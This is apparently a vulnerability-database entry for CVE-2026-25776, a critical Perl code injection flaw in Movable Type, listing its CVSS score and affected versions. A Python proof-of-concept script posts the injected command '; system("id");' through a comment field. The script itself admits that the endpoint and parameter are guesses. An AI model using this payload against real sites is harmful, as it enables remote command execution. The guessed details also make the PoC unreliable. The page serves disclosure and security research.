Security Vulnerability Report
中文
CVE-2026-25776 CVSS 9.8 CRITICAL

CVE-2026-25776

Published: 2026-04-08 09:16:20
Last Modified: 2026-04-20 17:21:59

Description

Movable Type provided by Six Apart Ltd. contains a code injection vulnerability which may allow an attacker to execute arbitrary Perl script.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sixapart:movable_type:*:*:*:*:premium_advanced:*:*:* - VULNERABLE
cpe:2.3:a:sixapart:movable_type:9.0.5:*:*:*:premium_advanced:*:*:* - VULNERABLE
cpe:2.3:a:sixapart:movable_type:9.0.6:*:*:*:premium_advanced:*:*:* - VULNERABLE
cpe:2.3:a:sixapart:movable_type:9.1.0:*:*:*:premium_advanced:*:*:* - VULNERABLE
cpe:2.3:a:sixapart:movable_type:*:*:*:*:advanced:*:*:* - VULNERABLE
cpe:2.3:a:sixapart:movable_type:*:*:*:*:advanced:*:*:* - VULNERABLE
cpe:2.3:a:sixapart:movable_type:*:*:*:*:advanced:*:*:* - VULNERABLE
cpe:2.3:a:sixapart:movable_type:9.1.0:*:*:*:advanced:*:*:* - VULNERABLE
Movable Type < 9.07

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-25776 - Movable Type Code Injection This script demonstrates how to send a malicious payload to execute Perl code. """ import requests def exploit(target_url): # The vulnerable endpoint might vary; this is a conceptual example. # Payload attempts to execute the 'id' command on the server. payload = '; system("id");' # Example parameter that might be vulnerable data = { 'comment_text': payload, 'entry_id': '1' } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[!] Check response for command execution output.") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost/cgi-bin/mt/mt-comments.cgi" exploit(target)

References

Raw JSON Data

JSON
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